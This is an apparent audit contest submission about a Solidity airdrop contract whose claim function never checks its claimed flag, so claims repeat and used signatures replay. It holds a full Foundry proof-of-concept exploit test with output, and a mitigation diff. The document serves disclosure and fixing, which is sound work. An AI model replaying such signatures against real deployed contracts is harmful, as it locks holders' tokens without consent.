Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: low
Valid

SnowmanAirdrop.claimSnowman never checks s_hasClaimedSnowman, so a listed account claims again and again past its allocation, and anyone can replay a used signature to lock a holder's later Snow

claimSnowman sets a claimed flag but never reads it, so claims repeat and a used signature stays valid, breaking the allocation cap and locking Snow without consent

Description

The airdrop keeps a per-receiver claimed flag, commented as a "mapping to verify if an address has claimed Snowman" (src/SnowmanAirdrop.sol:47). claimSnowman sets it after a successful claim (:94), and getClaimStatus exposes it (:137-139). But claimSnowman never reads it, so a receiver who has already claimed can claim again.

Nothing else makes a claim single-use. The signed message holds only the receiver and their current Snow balance, with no nonce or deadline, and the Merkle leaf is (receiver, current balance) (:84-90, :112-122). So the same (v, r, s) verifies again whenever the receiver's balance is back at the signed amount. claimSnowman has no caller check, so anyone can submit it, and the signature is public in the calldata of the first claim.

// src/SnowmanAirdrop.sol
@> mapping(address => bool) private s_hasClaimedSnowman; // :47, "to verify if an address has claimed Snowman"
...
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
@> // :69-73, no check of s_hasClaimedSnowman[receiver] anywhere in the function, and no caller check
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
...
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) { // :80, signed data has no nonce
revert SA__InvalidSignature();
}
...
i_snow.safeTransferFrom(receiver, address(this), amount); // :92, pulls the whole balance
@> s_hasClaimedSnowman[receiver] = true; // :94, written, never read here
...
i_snowman.mintSnowman(receiver, amount);
}
...
@> function getClaimStatus(address claimant) external view returns (bool) { // :137, the only reader
return s_hasClaimedSnowman[claimant];
}

This gives two effects on the code as written:

  • Repeat claims past the allocation. A listed account with a leaf of 1 earns a free unit each week and claims it every week with the same signature. It ends with 12 NFTs against an allocation of 1, paying nothing.

  • Replay of a used signature by a third party. After a holder claims, any later Snow they hold that brings their balance back to the signed amount can be pulled by anyone resubmitting the old signature, with no fresh consent. The lock has no exit. This needs the holder's allowance to the airdrop to still cover the amount, which a max approval leaves (OpenZeppelin's ERC20 doesn't reduce a max allowance; checked at the repo's pinned commit 239795b), and so does approving "1 S" in a wallet that reads Snow's 18 decimals, since that approves 1e18 base units. If the holder's balance is below the signed amount, the third party can send the difference.

On intent: the README never says a receiver claims only once. But the contract declares the flag's purpose in its own comment, records it, and exposes getClaimStatus, so a claimed receiver being able to claim again is the guard missing, not a design choice. The third-party replay doesn't depend on that reading. CodeHawks' validity guide lists "design opinions with no clear loss of funds indication" among findings that may be invalid; the replay isn't one, because it takes a holder's Snow without consent.

Risk

Likelihood: Medium. Repeat claims need only a listed account that wants more NFTs, and Snow can be earned free. The replay needs a standing allowance from the holder, and a holder who wants to keep later Snow. An exact approval stops it (test_F003_control_exactApprovalStopsReplay below).

Impact: Medium. Funds are indirectly at risk: a holder's Snow is locked without consent, and the allowlist's allocations stop capping anything.

  • Repeat claims: in the PoC, one signature over a leaf of 1 claims 12 times across the farming window, for 12 NFTs and no ETH or WETH paid (test_F003_oracle_repeatClaimBeyondLeafAmount).

  • Replay: after Alice claims her leaf of 2, she buys one more unit to keep. A third party sends her one unit and resubmits her used signature. Her Snow goes from 1 to 0, the airdrop's locked Snow from 2 to 4, and her NFTs from 2 to 4, although getClaimStatus(alice) was already true. The third party ends with nothing (test_F003_oracle_thirdPartyReplaysUsedSignature).

  • Bounds: the receiver still gets NFTs at the protocol's 1:1 rate, and the replayer gains nothing, so this is griefing, not theft. It hurts a holder who wanted to keep or resell Snow.

Proof of Concept

Save the file below as test/F003RepeatClaims.t.sol in the contest repository and run, from the repository root (no fork needed):

forge test --match-path test/F003RepeatClaims.t.sol -vvv

It imports only the repository's own src/ files, forge-std and OpenZeppelin from lib/. Its setUp deploys the real Snow, Snowman and SnowmanAirdrop the way the repo's deploy scripts do: MockWETH, a fee of 5, and the committed Merkle root. The committed allowlist's names and proofs are copied into the file from script/flakes/output.json. Nothing is mocked or stubbed. Actors:

  • Attacker: mallory, a third party who replays Alice's used signature. In the repeat-claim test, the listed account itself is the one claiming past its allocation.

  • Victim: alice, the committed list's first account, whose later Snow gets locked.

  • Protocol: SnowmanAirdrop, with Snow and Snowman.

The replay test uses a one-leaf tree with a leaf of 2 (root = leaf, empty proof), built with the scripts' leaf encoding, because every leaf on the committed list is 1 and the replay needs a balance above the leaf to set up. The repeat-claim test uses the committed list as it is. Signatures are over the contract's own getMessageHash output, the form this contract accepts.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
// Save as test/F003RepeatClaims.t.sol in the contest repository, then run:
// forge test --match-path test/F003RepeatClaims.t.sol -vvv
// It imports only the repository's own src/ files, forge-std and OpenZeppelin from lib/.
​
import {Test, console2} from "forge-std/Test.sol";
import {IERC20Errors} from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
​
/// @notice The committed allowlist, copied from script/flakes/output.json: the five fixture accounts, their leaf amount
/// and their proofs against the root in script/DeploySnowmanAirdrop.s.sol.
library Allowlist {
bytes32 internal constant ROOT = 0xc0b6787abae0a5066bc2d09eaec944c58119dc18be796e93de5b2bf9f80ea79a;
uint256 internal constant LEAF_AMOUNT = 1;
uint256 internal constant SIZE = 5;
​
function accountName(uint256 i) internal pure returns (string memory) {
if (i == 0) return "alice";
if (i == 1) return "bob";
if (i == 2) return "clara";
if (i == 3) return "dan";
return "eli";
}
​
function proof(uint256 i) internal pure returns (bytes32[] memory p) {
p = new bytes32[](3);
if (i == 0) {
p[0] = 0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52;
p[1] = 0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af;
p[2] = 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
} else if (i == 1) {
p[0] = 0x51c4b9a3cc313d7d7325f2d5d9e782a5a484e56a38947ab7eea7297ec86ff138;
p[1] = 0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af;
p[2] = 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
} else if (i == 2) {
p[0] = 0x0065f7c9c934093ee1c4d51b77e77ad69d1c21351298d21cc720df18a39412f5;
p[1] = 0xe4f70a2d0da3e6c29810b3eb84deeae82d06479d602b0e64225458c968f98cc1;
p[2] = 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
} else if (i == 3) {
p[0] = 0xc7c84a70b50ff4103e9a8b3a716b446a138a507fc1b65ebdfae38439e52b2612;
p[1] = 0xe4f70a2d0da3e6c29810b3eb84deeae82d06479d602b0e64225458c968f98cc1;
p[2] = 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
} else {
p[2] = 0xd7ed3892547c15a926b49d400e13fefe2c9f08de658f08b09925d5790383e978;
}
}
}
​
/// @title F-003 proof: claimSnowman never reads s_hasClaimedSnowman, so a claim repeats and a used signature replays.
/// @notice Snow, Snowman and SnowmanAirdrop are the real contracts from src/, deployed in setUp the way
/// script/DeploySnow.s.sol and script/DeploySnowmanAirdrop.s.sol do (MockWETH, a fee of 5, the committed root).
/// Nothing is stubbed.
/// Reachability:
/// - vm.warp in setUp picks a start time. The repeat-claim test warps to stored timestamps a week apart,
/// which is just time passing inside the 12-week farming window.
/// - vm.deal gives a buyer the listed fee (5e18 wei per unit) in ETH, the ordinary way to buy Snow.
/// - vm.prank(alice) is Alice's own buySnow / earnSnow / approve / claim, all open to anyone.
/// - vm.prank(mallory) is a third party calling transfer or claimSnowman; claimSnowman has no caller check.
/// - vm.sign signs the contract's own getMessageHash digest (raw-digest signing). That is the signature form
/// this contract accepts; it isn't part of the defect.
/// Actors:
/// - Attacker: mallory, a third party who replays Alice's used signature. In the repeat-claim test the listed
/// account itself (alice) is the one claiming past its leaf.
/// - Victim: alice, a listed receiver whose later Snow gets locked.
/// - Protocol: SnowmanAirdrop, with Snow and Snowman.
contract F003RepeatClaimsTest is Test {
uint256 internal constant START = 1_700_000_000; // the deployment time this test uses
uint256 internal constant BUY_FEE = 5; // the fee DeploySnow.s.sol uses
​
MockWETH internal weth; // Protocol: the WETH Snow is deployed with
Snow internal snow; // Protocol
Snowman internal nft; // Protocol
SnowmanAirdrop internal airdrop; // Protocol
address internal collector; // Protocol: the fee collector
​
address private alice; // Victim: a listed receiver
uint256 private aliceKey; // Victim's signing key
address private mallory; // Attacker: a third party
bytes32[] private noProof; // an empty proof, valid in a one-leaf tree
​
function setUp() public {
vm.warp(START); // the deployment time
collector = makeAddr("collector"); // Protocol: the collector
weth = new MockWETH(); // Protocol: the WETH, as DeploySnow.s.sol deploys it
snow = new Snow(address(weth), BUY_FEE, collector); // Protocol: Snow, with a fee of 5
nft = new Snowman("data:image/svg+xml;base64,AA=="); // Protocol: Snowman (the image doesn't matter here)
airdrop = new SnowmanAirdrop(Allowlist.ROOT, address(snow), address(nft)); // Protocol: the airdrop, with the committed root
(alice, aliceKey) = makeAddrAndKey("alice"); // Victim: the committed list's first account
mallory = makeAddr("mallory"); // Attacker: an unlisted address
}
​
/// @dev Buy `amount` units at the listed fee, as `who`.
function _buySnow(address who, uint256 amount) private {
uint256 cost = snow.s_buyFee() * amount; // the listed price
// deal: the buyer holds the listed fee in ETH.
vm.deal(who, cost);
// prank: buySnow is open to anyone during farming.
vm.prank(who);
snow.buySnow{value: cost}(amount); // exact ETH, so the ETH path
}
​
/// @dev The leaf encoding the scripts use.
function _leaf(address who, uint256 amount) private pure returns (bytes32) {
return keccak256(bytes.concat(keccak256(abi.encode(who, amount)))); // double-hashed (address, amount)
}
​
/// @dev A one-leaf tree: root == leaf and an empty proof verifies. Same leaf encoding as the scripts.
function _singleLeafAirdrop(address who, uint256 amount) private returns (SnowmanAirdrop) {
return new SnowmanAirdrop(_leaf(who, amount), address(snow), address(nft)); // Protocol: a real airdrop with that root
}
​
/// @dev Finding's oracle verbatim: leaf 2, approve 1e18 ("1 S" in a decimals-aware wallet), claim once,
/// buy one unit, replay fails on balance mismatch, a third party tops up one unit and replays the same (v, r, s).
function test_F003_oracle_thirdPartyReplaysUsedSignature() public {
SnowmanAirdrop drop = _singleLeafAirdrop(alice, 2); // Protocol: alice's leaf is 2
_buySnow(alice, 2); // Victim: buys her leaf amount
vm.prank(alice); // Victim calls
snow.approve(address(drop), 1e18); // "1 S" in a decimals-aware wallet: far more than 2 units
(uint8 v, bytes32 r, bytes32 s) = vm.sign(aliceKey, drop.getMessageHash(alice)); // Victim signs once
​
// Alice's one consented claim, submitted by her.
vm.prank(alice); // Victim calls
drop.claimSnowman(alice, noProof, v, r, s); // the claim she meant to make
assertTrue(drop.getClaimStatus(alice), "first claim recorded"); // the flag is set
assertEq(snow.allowance(alice, address(drop)), 1e18 - 2, "standing allowance left over"); // most of the approval remains
assertEq(nft.balanceOf(alice), 2, "first claim gave the leaf amount"); // 2 NFTs, as intended
​
// Alice later buys one unit (5 ETH) to keep. With 1 unit the old signature (amount 2) doesn't match.
_buySnow(alice, 1); // Victim: a unit she wants to keep
vm.prank(mallory); // Attacker calls
vm.expectRevert(SnowmanAirdrop.SA__InvalidSignature.selector); // balance 1 != signed 2, so the digest differs
drop.claimSnowman(alice, noProof, v, r, s); // replay attempt fails for now
​
uint256 aliceSnowBefore = snow.balanceOf(alice); // snapshot: Victim's Snow (1)
uint256 lockedBefore = snow.balanceOf(address(drop)); // snapshot: Snow locked in the Protocol (2)
uint256 nftBefore = nft.balanceOf(alice); // snapshot: Victim's NFTs (2)
bool claimedBefore = drop.getClaimStatus(alice); // snapshot: the claimed flag (true)
​
// Mallory buys one unit, sends it to Alice, and replays the used signature from public calldata.
_buySnow(mallory, 1); // Attacker: buys one unit
vm.startPrank(mallory); // Attacker calls
snow.transfer(alice, 1); // top-up: Victim's balance is back at the signed 2
drop.claimSnowman(alice, noProof, v, r, s); // the same (v, r, s), already used once
vm.stopPrank(); // end of Attacker's calls
​
console2.log("BEFORE replay: alice Snow, locked Snow, alice NFTs:", aliceSnowBefore, lockedBefore, nftBefore); // log: 1 2 2
console2.log( // log: 0 4 4
"AFTER replay: alice Snow, locked Snow, alice NFTs:",
snow.balanceOf(alice),
snow.balanceOf(address(drop)),
nft.balanceOf(alice)
);
​
assertTrue(claimedBefore, "A1 precondition: getClaimStatus(alice) was already true"); // the flag never stopped it
assertEq(snow.balanceOf(alice), 0, "Alice's repurchased unit is gone"); // Victim lost the unit she kept
assertEq(snow.balanceOf(address(drop)), 4, "4 Snow locked in the airdrop, with no exit"); // Protocol holds it for good
assertEq(nft.balanceOf(alice), 4, "A2 broken: NFTs (4) exceed the leaf amount (2)"); // past the allocation
assertEq(snow.balanceOf(mallory), 0, "the replayer spent its own unit and gained nothing"); // Attacker gains nothing
}
​
/// @dev Committed allowlist (leaf 1). Alice earns 1 free Snow per week and claims every week.
function test_F003_oracle_repeatClaimBeyondLeafAmount() public {
bytes32[] memory proof = Allowlist.proof(0); // alice's proof on the committed list
vm.prank(alice); // alice calls
snow.earnSnow(); // one free unit, her leaf amount
vm.prank(alice); // alice calls
snow.approve(address(airdrop), type(uint256).max); // a standing max approval
(uint8 v, bytes32 r, bytes32 s) = vm.sign(aliceKey, airdrop.getMessageHash(alice)); // one signature, over (alice, 1)
​
vm.prank(alice); // alice calls
airdrop.claimSnowman(alice, proof, v, r, s); // her one legitimate claim
assertTrue(airdrop.getClaimStatus(alice), "claimed after the first claim"); // the flag is set
​
uint256 claims = 1; // claims so far
for (uint256 week = 1; week < 12; week++) { // each remaining week of the window
// warp: a week passes, inside the 12-week window (stored timestamp, not block.timestamp + x).
vm.warp(START + week * 1 weeks);
vm.prank(alice); // alice calls
snow.earnSnow(); // another free unit: balance back to 1
assertTrue(airdrop.getClaimStatus(alice), "already claimed before this claim"); // flag still true
vm.prank(alice); // alice calls
airdrop.claimSnowman(alice, proof, v, r, s); // same (v, r, s) every time
claims++; // count it
}
​
console2.log("claims with one signature, NFTs, leaf amount:", claims, nft.balanceOf(alice), Allowlist.LEAF_AMOUNT); // log: 12 12 1
assertEq(nft.balanceOf(alice), 12, "A2 broken: 12 NFTs against a leaf of 1"); // twelve times the allocation
assertEq(address(snow).balance + weth.balanceOf(address(snow)), 0, "for no ETH or WETH paid"); // all of it free
}
​
/// @dev The repo's own test style: exact approval. The replay then fails on allowance, not on any claimed check.
function test_F003_control_exactApprovalStopsReplay() public {
SnowmanAirdrop drop = _singleLeafAirdrop(alice, 2); // Protocol: alice's leaf is 2
_buySnow(alice, 2); // Victim: buys her leaf amount
vm.prank(alice); // Victim calls
snow.approve(address(drop), 2); // an exact approval
(uint8 v, bytes32 r, bytes32 s) = vm.sign(aliceKey, drop.getMessageHash(alice)); // Victim signs once
vm.prank(alice); // Victim calls
drop.claimSnowman(alice, noProof, v, r, s); // her claim uses up the whole allowance
​
_buySnow(alice, 2); // Victim: balance back at the signed 2
vm.prank(mallory); // Attacker calls
vm.expectRevert( // the allowance stops it, not a claimed check
abi.encodeWithSelector(IERC20Errors.ERC20InsufficientAllowance.selector, address(drop), 0, 2)
);
drop.claimSnowman(alice, noProof, v, r, s); // the replay attempt
}
}

Output, from a clean copy of the repository at commit 6efcb0f with its own foundry.toml:

[PASS] test_F003_oracle_thirdPartyReplaysUsedSignature() (gas: 2780746)
Logs:
BEFORE replay: alice Snow, locked Snow, alice NFTs: 1 2 2
AFTER replay: alice Snow, locked Snow, alice NFTs: 0 4 4
[PASS] test_F003_oracle_repeatClaimBeyondLeafAmount() (gas: 2738327)
Logs:
claims with one signature, NFTs, leaf amount: 12 12 1
[PASS] test_F003_control_exactApprovalStopsReplay() (gas: 2334692)
[PASS] test_F003_oracle_repeatClaimBeyondLeafAmount() (gas: 2738327)
Logs:
claims with one signature, NFTs, leaf amount: 12 12 1

The replay test logs Alice's Snow, the locked Snow and her NFTs as 1 / 2 / 2 before the replay and 0 / 4 / 4 after it. The repeat-claim test logs 12 claims with one signature, 12 NFTs, and a leaf amount of 1. The control shows that with an exact approval the replay reverts with ERC20InsufficientAllowance: the allowance stops it, not any claimed check.

Recommended Mitigation

Check the flag the contract already keeps, at the top of claimSnowman:

+ error SA__AlreadyClaimed();
+
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
+ if (s_hasClaimedSnowman[receiver]) {
+ revert SA__AlreadyClaimed();
+ }
if (receiver == address(0)) {
revert SA__ZeroAddress();
}

Notes:

  • Tested: this check was tested on a patched copy of SnowmanAirdrop. The replay reverts with SA__AlreadyClaimed, and the holder keeps their Snow. The weekly repeat claim reverts, and NFTs stay at the leaf amount. Normal claims still work, self-submitted or relayed.

  • Signatures that were never used are a separate gap: the signed message has no deadline or nonce, so a signature handed out and never submitted stays valid indefinitely, which this check doesn't cover. A per-receiver nonce consumed on claim would also stop reuse of a used signature, but not repeat claims signed fresh each time. The claimed flag is the contract's own guard for both.

  • Taking amount as a parameter (verifying the leaf and signature for a fixed amount, instead of the live balance) should ship together with this check. Without it, removing the exact-balance requirement would let a used signature replay whenever the receiver holds at least the signed amount, with no top-up needed.

  • Redeployment: nothing is upgradeable, so this needs a new airdrop. Its root should leave out anyone who already claimed, since a new contract starts with every flag cleared.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 18 minutes ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman

# Root + Impact &#x20; **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol  ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!